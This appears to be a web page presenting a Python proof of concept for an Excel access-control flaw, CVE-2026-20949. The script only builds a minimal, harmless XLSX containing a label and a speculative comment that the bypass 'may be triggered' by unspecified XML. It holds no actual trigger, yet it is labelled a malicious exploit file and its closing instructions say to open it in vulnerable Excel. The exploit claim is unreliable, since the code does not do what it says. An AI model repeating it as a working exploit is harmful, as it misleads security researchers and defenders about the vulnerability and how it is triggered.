CVE-2026-20949: Microsoft Office Excel 不当访问控制漏洞

# CVE-2026-20949 PoC - Microsoft Office Excel Access Control Bypass # Note: This is a conceptual PoC for educational purposes only import zipfile import struct import os def create_exploit_xlsx(output_path): """ Create a malicious Excel file to demonstrate CVE-2026-20949 This PoC triggers the improper access control vulnerability """ try: # Create a basic XLSX file structure with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as xlsx: # [Content_Types].xml - Required for valid XLSX content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''' xlsx.writestr('[Content_Types].xml', content_types) # _rels/.rels - Package relationships rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/> </Relationships>''' xlsx.writestr('_rels/.rels', rels) # xl/workbook.xml workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets> <sheet name="Sheet1" sheetId="1" r:id="rId1"/> </sheets> </workbook>''' xlsx.writestr('xl/workbook.xml', workbook) # xl/_rels/workbook.xml.rels wb_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/> </Relationships>''' xlsx.writestr('xl/_rels/workbook.xml.rels', wb_rels) # xl/worksheets/sheet1.xml - Contains malicious content sheet = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1"> <v>CVE-2026-20949 Test File</v> </c> </row> </sheetData> <!-- Vulnerability trigger: The access control bypass may be triggered through specific XML attributes or elements that exploit the parsing logic --> <extendedProperties> <application>Microsoft Office Excel</application> </extendedProperties> </worksheet>''' xlsx.writestr('xl/worksheets/sheet1.xml', sheet) print(f"[+] PoC XLSX file created: {output_path}") print("[*] This file demonstrates the improper access control vulnerability") return True except Exception as e: print(f"[-] Error creating PoC: {e}") return False if __name__ == "__main__": # Generate PoC file output_file = "CVE-2026-20949-poc.xlsx" create_exploit_xlsx(output_file) print("\n[!] Usage: Open this file in vulnerable Microsoft Office Excel version") print("[!] Expected: Security feature bypass may occur")